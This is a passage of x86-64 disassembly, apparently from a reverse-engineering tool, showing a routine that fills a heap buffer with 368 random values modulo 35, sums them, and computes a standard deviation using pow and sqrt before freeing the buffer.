jle 0x2bfe46138
mov rax, qword [rbp + 0x1770]
mov rcx, rax
call sym.free
mov ecx, 0x5c0
call sym.malloc
mov qword [rbp + 0x1768], rax
mov dword [rbp + 0x21ec], 0
mov dword [rbp + 0x21e8], 0
mov dword [rbp + 0x21f0], 0
jmp 0x2bfe462e1
call sym.rand
mov edx, dword [rbp + 0x21f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1768]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x21f0], 1
cmp dword [rbp + 0x21f0], 0x16f
jle 0x2bfe46295
mov dword [rbp + 0x21f0], 0
jmp 0x2bfe46322
mov eax, dword [rbp + 0x21f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1768]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x21ec], eax
add dword [rbp + 0x21f0], 1
cmp dword [rbp + 0x21f0], 0x16f
jle 0x2bfe462f9
mov dword [rbp + 0x21f0], 0
jmp 0x2bfe463aa
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x21e8]
mov eax, dword [rbp + 0x21f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1768]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x814]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movsd xmm0, qword [0x2bfe63150]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x21e8], eax
add dword [rbp + 0x21f0], 1
cmp dword [rbp + 0x21f0], 0x16f
jle 0x2bfe4633a
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x21e8]
movss xmm1, dword [0x2bfe63158]
divss xmm0, xmm1
movss dword [rbp + 0x1764], xmm0
pxor xmm5, xmm5
cvtss2sd xmm5, dword [rbp + 0x1764]
movq rax, xmm5
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1760], xmm0
mov rax, qword [rbp + 0x1768]
mov rcx, rax
call sym.free
mov dword [rbp + 0x21e4], 0
mov dword [rbp + 0x175c], 1
mov dword [rbp + 0x21e0], 0
jmp 0x2bfe46c12
mov eax, dword [rbp + 0x1918]
movups xmm6, xmmword [rbp + 0x23d0]
add rsp, 0x2468
pop rbx
pop rbp
ret